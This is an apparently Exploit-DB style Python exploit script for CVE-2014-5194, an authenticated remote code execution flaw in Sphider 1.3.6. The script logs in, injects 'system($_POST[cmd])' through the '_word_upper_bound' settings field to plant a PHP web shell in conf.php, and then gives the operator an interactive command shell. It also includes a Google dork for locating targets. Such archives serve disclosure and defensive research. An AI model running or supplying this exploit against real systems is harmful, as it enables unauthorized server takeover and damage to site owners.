# Exploit Title: Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)
# Google Dork: intitle:"Sphider Admin Login"
# Date: 2014-07-28
# Exploit Author: Gurkirat Singh
# Vendor Homepage: http://www.sphider.eu/
# Software Link: http://www.sphider.eu/sphider-1.3.6.zip
# Version: v1.3.6
# Tested on: Windows and Linux
# CVE : CVE-2014-5194
# Proof of Concept: https://www.exploit-db.com/exploits/34189
from argparse import ArgumentParser, RawTextHelpFormatter
from huepy import *
import string
import random
from bs4 import BeautifulSoup, Tag
from requests import Session
from randua import generate as randua
_F = "".join(random.choices(string.ascii_letters, k=13))
parser = ArgumentParser(description="Exploit for CVE-2014-5194",
formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
"-t",
help="target uri where application is installed",
required=True,
metavar="",
dest="t")
parser.add_argument("--user",
"-u",
help="username to authenticate",
required=True,
metavar="",
dest="u")
parser.add_argument("--password",
"-p",
help="password to authenticate",
required=True,
metavar="",
dest="p")
parser.add_argument("--debug",
help="if passed, spawn the firefox window",
default=True,
action="store_false")
parser.add_argument("--timeout",
help="timeout in seconds (default: 1)",
dest="T",
metavar="",
default=1)
args = parser.parse_args()
if args.t.endswith("/"):
args.t = args.t[:-1]
print(run("Logging in"))
with Session() as http:
data = {"user": args.u, "pass": args.p}
headers = {"User-Agent": randua()}
http.post(args.t + '/admin/auth.php',
data=data,
headers=headers,
allow_redirects=False)
r = http.get(args.t + '/admin/admin.php',
headers=headers,
allow_redirects=False)
html = BeautifulSoup(r.content.decode(), "lxml")
title: Tag = html.find("title")
if title.text == "Sphider Admin Login":
print(bad("Failed to login"))
exit(1)
else:
print(good("Logged in"))
payload = {
'f': 'settings',
'Submit': '1',
'_version_nr': '1.3.5',
'_language': 'en',
'_template': 'standard',
'_admin_email': 'admin@localhost',
'_print_results': '1',
'_tmp_dir': 'tmp',
'_log_dir': 'log',
'_log_format': 'html',
'_min_words_per_page': '10',
'_min_word_length': '3',
'_word_upper_bound': '100;system($_POST[cmd])',
'_index_numbers': '1',
'_index_meta_keywords': '1',
'_pdftotext_path': 'c:\\temp\\pdftotext.exe',
'_catdoc_path': 'c:\\temp\\catdoc.exe',
'_xls2csv_path': 'c:\\temp\\xls2csv',
'_catppt_path': 'c:\\temp\\catppt',
'_user_agent': 'Sphider',
'_min_delay': '0',
'_strip_sessids': '1',
'_results_per_page': '10',
'_cat_columns': '2',
'_bound_search_result': '0',
'_length_of_link_desc': '0',
'_links_to_next': '9',
'_show_meta_description': '1',
'_show_query_scores': '1',
'_show_categories': '1',
'_desc_length': '250',
'_did_you_mean_enabled': '1',
'_suggest_enabled': '1',
'_suggest_history': '1',
'_suggest_rows': '10',
'_title_weight': '20',
'_domain_weight': '60',
'_path_weight': '10',
'_meta_weight': '5'
}
print(run("Exploiting"))
http.post(args.t + "/admin/admin.php", data=payload)
r = http.post(args.t + "/settings/conf.php", data={"cmd": "echo %s" % _F})
if r.content.decode().strip() != _F:
print(bad("Failed"))
exit(1)
print(good("Exploited"))
print(info("Spawning Shell"))
user = http.post(args.t + "/settings/conf.php", data={"cmd": "whoami"})
host = http.post(args.t + "/settings/conf.php",
data={"cmd": "cat /etc/hostname"})
shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"
while True:
try:
cmd = input(shell)
if cmd == "exit": break
r = http.post(args.t + "/settings/conf.php", data={"cmd": cmd})
print(r.content.decode().strip())
except:
break
print()
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